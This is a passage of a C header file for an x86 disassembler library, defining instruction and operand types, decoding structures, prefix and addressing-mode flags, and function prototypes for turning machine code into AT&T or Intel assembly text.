170 | FORMAT_ATT,
171 | FORMAT_INTEL,
172 | };
173 |
174 | // Process eflags
175 | #define EFL_CF (1 << 0)
176 | #define EFL_PF (1 << 2)
177 | #define EFL_AF (1 << 4)
178 | #define EFL_ZF (1 << 6)
179 | #define EFL_SF (1 << 7)
180 | #define EFL_TF (1 << 8)
181 | #define EFL_IF (1 << 9)
182 | #define EFL_DF (1 << 10)
183 | #define EFL_OF (1 << 11)
184 | #define EFL_MATH EFL_OF|EFL_SF|EFL_ZF|EFL_AF|EFL_PF|EFL_CF
185 | #define EFL_BITWISE EFL_OF|EFL_CF|EFL_SF|EFL_ZF|EFL_PF
186 | #define EFL_ALL_COMMON EFL_CF|EFL_OF|EFL_SF|EFL_ZF|EFL_AF|EFL_PF
187 |
188 | // Instruction types (just the most common ones atm)
189 | enum Instruction {
190 | // Integer instructions
191 | INSTRUCTION_TYPE_ASC, // aaa, aam, etc.
192 | INSTRUCTION_TYPE_DCL, // daa, das
193 | INSTRUCTION_TYPE_MOV,
194 | INSTRUCTION_TYPE_MOVSR, // segment register
195 | INSTRUCTION_TYPE_ADD,
196 | INSTRUCTION_TYPE_XADD,
197 | INSTRUCTION_TYPE_ADC,
198 | INSTRUCTION_TYPE_SUB,
199 | INSTRUCTION_TYPE_SBB,
200 | INSTRUCTION_TYPE_INC,
201 | INSTRUCTION_TYPE_DEC,
202 | INSTRUCTION_TYPE_DIV,
203 | INSTRUCTION_TYPE_IDIV,
204 | INSTRUCTION_TYPE_NOT,
205 | INSTRUCTION_TYPE_NEG,
206 | INSTRUCTION_TYPE_STOS,
207 | INSTRUCTION_TYPE_LODS,
208 | INSTRUCTION_TYPE_SCAS,
209 | INSTRUCTION_TYPE_MOVS,
210 | INSTRUCTION_TYPE_MOVSX,
211 | INSTRUCTION_TYPE_MOVZX,
212 | INSTRUCTION_TYPE_CMPS,
213 | INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right
214 | INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right
215 | INSTRUCTION_TYPE_MUL,
216 | INSTRUCTION_TYPE_IMUL,
217 | INSTRUCTION_TYPE_EIMUL, // "extended" imul with 2-3 operands
218 | INSTRUCTION_TYPE_XOR,
219 | INSTRUCTION_TYPE_LEA,
220 | INSTRUCTION_TYPE_XCHG,
221 | INSTRUCTION_TYPE_CMP,
222 | INSTRUCTION_TYPE_TEST,
223 | INSTRUCTION_TYPE_PUSH,
224 | INSTRUCTION_TYPE_AND,
225 | INSTRUCTION_TYPE_OR,
226 | INSTRUCTION_TYPE_POP,
227 | INSTRUCTION_TYPE_JMP,
228 | INSTRUCTION_TYPE_JMPC, // conditional jump
229 | INSTRUCTION_TYPE_JECXZ,
230 | INSTRUCTION_TYPE_SETC, // conditional byte set
231 | INSTRUCTION_TYPE_MOVC, // conditional mov
232 | INSTRUCTION_TYPE_LOOP,
233 | INSTRUCTION_TYPE_CALL,
234 | INSTRUCTION_TYPE_RET,
235 | INSTRUCTION_TYPE_ENTER,
236 | INSTRUCTION_TYPE_INT, // interrupt
237 | INSTRUCTION_TYPE_BT, // bit tests
238 | INSTRUCTION_TYPE_BTS,
239 | INSTRUCTION_TYPE_BTR,
240 | INSTRUCTION_TYPE_BTC,
241 | INSTRUCTION_TYPE_BSF,
242 | INSTRUCTION_TYPE_BSR,
243 | INSTRUCTION_TYPE_BSWAP,
244 | INSTRUCTION_TYPE_SGDT,
245 | INSTRUCTION_TYPE_SIDT,
246 | INSTRUCTION_TYPE_SLDT,
247 | INSTRUCTION_TYPE_LFP,
248 | INSTRUCTION_TYPE_CLD,
249 | INSTRUCTION_TYPE_STD,
250 | INSTRUCTION_TYPE_XLAT,
251 | // FPU instructions
252 | INSTRUCTION_TYPE_FCMOVC, // float conditional mov
253 | INSTRUCTION_TYPE_FADD,
254 | INSTRUCTION_TYPE_FADDP,
255 | INSTRUCTION_TYPE_FIADD,
256 | INSTRUCTION_TYPE_FSUB,
257 | INSTRUCTION_TYPE_FSUBP,
258 | INSTRUCTION_TYPE_FISUB,
259 | INSTRUCTION_TYPE_FSUBR,
260 | INSTRUCTION_TYPE_FSUBRP,
261 | INSTRUCTION_TYPE_FISUBR,
262 | INSTRUCTION_TYPE_FMUL,
263 | INSTRUCTION_TYPE_FMULP,
264 | INSTRUCTION_TYPE_FIMUL,
265 | INSTRUCTION_TYPE_FDIV,
266 | INSTRUCTION_TYPE_FDIVP,
267 | INSTRUCTION_TYPE_FDIVR,
268 | INSTRUCTION_TYPE_FDIVRP,
269 | INSTRUCTION_TYPE_FIDIV,
270 | INSTRUCTION_TYPE_FIDIVR,
271 | INSTRUCTION_TYPE_FCOM,
272 | INSTRUCTION_TYPE_FCOMP,
273 | INSTRUCTION_TYPE_FCOMPP,
274 | INSTRUCTION_TYPE_FCOMI,
275 | INSTRUCTION_TYPE_FCOMIP,
276 | INSTRUCTION_TYPE_FUCOM,
277 | INSTRUCTION_TYPE_FUCOMP,
278 | INSTRUCTION_TYPE_FUCOMPP,
279 | INSTRUCTION_TYPE_FUCOMI,
280 | INSTRUCTION_TYPE_FUCOMIP,
281 | INSTRUCTION_TYPE_FST,
282 | INSTRUCTION_TYPE_FSTP,
283 | INSTRUCTION_TYPE_FIST,
284 | INSTRUCTION_TYPE_FISTP,
285 | INSTRUCTION_TYPE_FISTTP,
286 | INSTRUCTION_TYPE_FLD,
287 | INSTRUCTION_TYPE_FILD,
288 | INSTRUCTION_TYPE_FICOM,
289 | INSTRUCTION_TYPE_FICOMP,
290 | INSTRUCTION_TYPE_FFREE,
291 | INSTRUCTION_TYPE_FFREEP,
292 | INSTRUCTION_TYPE_FXCH,
293 | INSTRUCTION_TYPE_SYSENTER,
294 | INSTRUCTION_TYPE_FPU_CTRL, // FPU control instruction
295 | INSTRUCTION_TYPE_FPU, // Other FPU instructions
296 |
297 | INSTRUCTION_TYPE_MMX, // Other MMX instructions
298 |
299 | INSTRUCTION_TYPE_SSE, // Other SSE instructions
300 |
301 | INSTRUCTION_TYPE_OTHER, // Other instructions :-)
302 | INSTRUCTION_TYPE_PRIV // Privileged instruction
303 | };
304 |
305 | // Operand types
306 | enum Operand {
307 | OPERAND_TYPE_NONE, // operand not present
308 | OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.)
309 | OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.)
310 | OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234)
311 | };
312 |
313 | // Structure definitions
314 |
315 | // struct INST is used internally by the library
316 | typedef struct _INST {
317 | DWORD type; // Instruction type and flags
318 | const char *mnemonic; // Instruction mnemonic
319 | int flags1; // First operand flags (if any)
320 | int flags2; // Second operand flags (if any)
321 | int flags3; // Additional operand flags (if any)
322 | int modrm; // Is MODRM byte present?
323 | short eflags_affected; // Processor eflags affected
324 | short eflags_used; // Processor eflags used by this instruction
325 | int iop_written; // mask of affected implied registers (written)
326 | int iop_read; // mask of affected implied registers (read)
327 | } INST, *PINST;
328 |
329 | // Operands for the instruction
330 | typedef struct _OPERAND {
331 | enum Operand type; // Operand type (register, memory, etc)
332 | int reg; // Register (if any)
333 | int basereg; // Base register (if any)
334 | int indexreg; // Index register (if any)
335 | int scale; // Scale (if any)
336 | int dispbytes; // Displacement bytes (0 = no displacement)
337 | int dispoffset; // Displacement value offset
338 | int immbytes; // Immediate bytes (0 = no immediate)
339 | int immoffset; // Immediate value offset
340 | int sectionbytes; // Section prefix bytes (0 = no section prefix)
341 | WORD section; // Section prefix value
342 | DWORD displacement; // Displacement value
343 | DWORD immediate; // Immediate value
344 | int flags; // Operand flags
345 | } OPERAND, *POPERAND;
346 |
347 | // struct INSTRUCTION is used to interface the library
348 | typedef struct _INSTRUCTION {
349 | int length; // Instruction length
350 | enum Instruction type; // Instruction type
351 | enum Mode mode; // Addressing mode
352 | BYTE opcode; // Actual opcode
353 | BYTE modrm; // MODRM byte
354 | BYTE sib; // SIB byte
355 | int modrm_offset; // MODRM byte offset
356 | int extindex; // Extension table index
357 | int fpuindex; // FPU table index
358 | int dispbytes; // Displacement bytes (0 = no displacement)
359 | int immbytes; // Immediate bytes (0 = no immediate)
360 | int sectionbytes; // Section prefix bytes (0 = no section prefix)
361 | OPERAND op1; // First operand (if any)
362 | OPERAND op2; // Second operand (if any)
363 | OPERAND op3; // Additional operand (if any)
364 | PINST ptr; // Pointer to instruction table
365 | int flags; // Instruction flags
366 | short eflags_affected; // Process eflags affected
367 | short eflags_used; // Processor eflags used by this instruction
368 | int iop_written; // mask of affected implied registers (written)
369 | int iop_read; // mask of affected implied registers (read)
370 | } INSTRUCTION, *PINSTRUCTION;
371 |
372 |
373 | // Function definitions
374 |
375 | int get_instruction(
376 | INSTRUCTION *inst, // pointer to INSTRUCTION structure
377 | BYTE *addr, // code buffer
378 | enum Mode mode // mode: MODE_32 or MODE_16
379 | );
380 |
381 | // Get complete instruction string
382 | int get_instruction_string(
383 | INSTRUCTION *inst, // pointer to INSTRUCTION structure
384 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
385 | DWORD offset, // instruction absolute address
386 | char *string, // string buffer
387 | int length // string length
388 | );
389 |
390 | // Get mnemonic string
391 | int get_mnemonic_string(
392 | INSTRUCTION *inst, // pointer to INSTRUCTION structure
393 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
394 | char *string, // string buffer
395 | int length // string length
396 | );
397 |
398 | // Get individual operand string
399 | int get_operand_string(
400 | INSTRUCTION *inst, // pointer to INSTRUCTION structure
401 | POPERAND op, // pointer to OPERAND structure
402 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
403 | DWORD offset, // instruction absolute address
404 | char *string, // string buffer
405 | int length // string length
406 | );
407 |
408 | // Helper functions
409 |
410 | int get_register_type(
411 | POPERAND op
412 | );
413 | int get_operand_type(
414 | POPERAND op
415 | );
416 | int get_operand_register(
417 | POPERAND op
418 | );
419 | int get_operand_basereg(
420 | POPERAND op
421 | );
422 | int get_operand_indexreg(
423 | POPERAND op
424 | );
425 | int get_operand_scale(
426 | POPERAND op
427 | );
428 | int get_operand_immediate(
429 | POPERAND op,
430 | DWORD *imm // returned immediate value
431 | );
432 | int get_operand_displacement(
433 | POPERAND op,
434 | DWORD *disp // returned displacement value
435 | );
436 | POPERAND get_source_operand(
437 | PINSTRUCTION inst
438 | );
439 | POPERAND get_destination_operand(
440 | PINSTRUCTION inst
441 | );
442 |
443 |
444 | // Instruction flags (prefixes)
445 |
446 | // Group 1
447 | #define MASK_PREFIX_G1(x) ((x) & 0xff000000) >> 24
448 | #define PREFIX_LOCK 0x01000000 // 0xf0
449 | #define PREFIX_REPNE 0x02000000 // 0xf2
450 | #define PREFIX_REP 0x03000000 // 0xf3
451 | #define PREFIX_REPE 0x03000000 // 0xf3
452 | // Group 2
453 | #define MASK_PREFIX_G2(x) ((x) & 0x00ff0000) >> 16
454 | #define PREFIX_ES_OVERRIDE 0x00010000 // 0x26
455 | #define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e
456 | #define PREFIX_SS_OVERRIDE 0x00030000 // 0x36
457 | #define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e
458 | #define PREFIX_FS_OVERRIDE 0x00050000 // 0x64
459 | #define PREFIX_GS_OVERRIDE 0x00060000 // 0x65
460 | // Group 3 & 4
461 | #define MASK_PREFIX_G3(x) ((x) & 0x0000ff00) >> 8
462 | #define MASK_PREFIX_OPERAND(x) ((x) & 0x00000f00) >> 8
463 | #define MASK_PREFIX_ADDR(x) ((x) & 0x0000f000) >> 12
464 | #define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66
465 | #define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67
466 |
467 | // Extensions
468 |
469 | #define MASK_EXT(x) ((x) & 0x000000ff)
470 | #define EXT_G1_1 0x00000001
471 | #define EXT_G1_2 0x00000002
472 | #define EXT_G1_3 0x00000003
473 | #define EXT_G2_1 0x00000004
474 | #define EXT_G2_2 0x00000005
475 | #define EXT_G2_3 0x00000006
476 | #define EXT_G2_4 0x00000007
477 | #define EXT_G2_5 0x00000008
478 | #define EXT_G2_6 0x00000009
479 | #define EXT_G3_1 0x0000000a
480 | #define EXT_G3_2 0x0000000b
481 | #define EXT_G4 0x0000000c
482 | #define EXT_G5 0x0000000d
483 | #define EXT_G6 0x0000000e
484 | #define EXT_G7 0x0000000f
485 | #define EXT_G8 0x00000010
486 | #define EXT_G9 0x00000011
487 | #define EXT_GA 0x00000012
488 | #define EXT_GB 0x00000013
489 | #define EXT_GC 0x00000014
490 | #define EXT_GD 0x00000015
491 | #define EXT_GE 0x00000016
492 | #define EXT_GF 0x00000017
493 | #define EXT_G0 0x00000018
494 |
495 | // Extra groups for 2 and 3-byte opcodes, and FPU stuff
496 | #define EXT_T2 0x00000020 // opcode table 2
497 | #define EXT_CP 0x00000030 // co-processor
498 |
499 | // Instruction type flags
500 |
501 | #define TYPE_3 0x80000000
502 | #define MASK_TYPE_FLAGS(x) ((x) & 0xff000000)
503 | #define MASK_TYPE_VALUE(x) ((x) & 0x00ffffff)
504 |
505 |
506 | // Operand flags
507 |
508 | #define FLAGS_NONE 0
509 |
510 | // Operand Addressing Methods, from the Intel manual
511 | #define MASK_AM(x) ((x) & 0x00ff0000)
512 | #define AM_A 0x00010000 // Direct address with segment prefix
513 | #define AM_C 0x00020000 // MODRM reg field defines control register
514 | #define AM_D 0x00030000 // MODRM reg field defines debug register
515 | #define AM_E 0x00040000 // MODRM byte defines reg/memory address
516 | #define AM_G 0x00050000 // MODRM byte defines general-purpose reg
517 | #define AM_I 0x00060000 // Immediate data follows
518 | #define AM_J 0x00070000 // Immediate value is relative to EIP
519 | #define AM_M 0x00080000 // MODRM mod field can refer only to memory
520 | #define AM_O 0x00090000 // Displacement follows (without modrm/sib)
521 | #define AM_P 0x000a0000 // MODRM reg field defines MMX register
522 | #define AM_Q 0x000b0000 // MODRM defines MMX register or memory
523 | #define AM_R 0x000c0000 // MODRM mod field can only refer to register
524 | #define AM_S 0x000d0000 // MODRM reg field defines segment register
525 | #define AM_T 0x000e0000 // MODRM reg field defines test register
526 | #define AM_V 0x000f0000 // MODRM reg field defines XMM register
527 | #define AM_W 0x00100000 // MODRM defines XMM register or memory
528 | // Extra addressing modes used in this implementation
529 | #define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction
530 | #define AM_REG 0x00210000 // Register encoded in instruction
531 | #define AM_IND 0x00220000 // Register indirect encoded in instruction
532 |
533 | // Operand Types, from the intel manual
534 | #define MASK_OT(x) ((x) & 0xff000000)
535 | #define OT_a 0x01000000
536 | #define OT_b 0x02000000 // always 1 byte
537 | #define OT_c 0x03000000 // byte or word, depending on operand
538 | #define OT_d 0x04000000 // double-word
539 | #define OT_q 0x05000000 // quad-word
540 | #define OT_dq 0x06000000 // double quad-word
541 | #define OT_v 0x07000000 // word or double-word, depending on operand
542 | #define OT_w 0x08000000 // always word
543 | #define OT_p 0x09000000 // 32-bit or 48-bit pointer
544 | #define OT_pi 0x0a000000 // quadword MMX register
545 | #define OT_pd 0x0b000000 // 128-bit double-precision float
546 | #define OT_ps 0x0c000000 // 128-bit single-precision float
547 | #define OT_s 0x0d000000 // 6-byte pseudo descriptor
548 | #define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float
549 | #define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float
550 | #define OT_si 0x10000000 // Doubleword integer register
551 | #define OT_t 0x11000000 // 80-bit packed FP data
552 |
553 | // Operand permissions
554 | #define MASK_PERMS(x) ((x) & 0x0000f000)
555 | #define P_r 0x00004000 // Read
556 | #define P_w 0x00002000 // Write
557 | #define P_x 0x00001000 // Execute
558 |
559 | // Additional operand flags
560 | #define MASK_FLAGS(x) ((x) & 0x00000f00)
561 | #define F_s 0x00000100 // sign-extend 1-byte immediate
562 | #define F_r 0x00000200 // use segment register
563 | #define F_f 0x00000400 // use FPU register
564 |
565 | // Mask 0x000000f0 unused atm
566 |
567 | // Operand register mask
568 | #define MASK_REG(x) ((x) & 0x0000000f)
569 |
570 |
571 |
572 | // MODRM byte
573 | #define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6)
574 | #define MASK_MODRM_REG(x) (((x) & 0x38) >> 3)
575 | #define MASK_MODRM_RM(x) ((x) & 0x7)
576 |
577 | // SIB byte
578 | #define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x)
579 | #define MASK_SIB_INDEX(x) MASK_MODRM_REG(x)
580 | #define MASK_SIB_BASE(x) MASK_MODRM_RM(x)
581 |
582 |
583 | #ifdef __cplusplus
584 | }
585 | #endif
586 |
587 | #endif
588 |
--------------------------------------------------------------------------------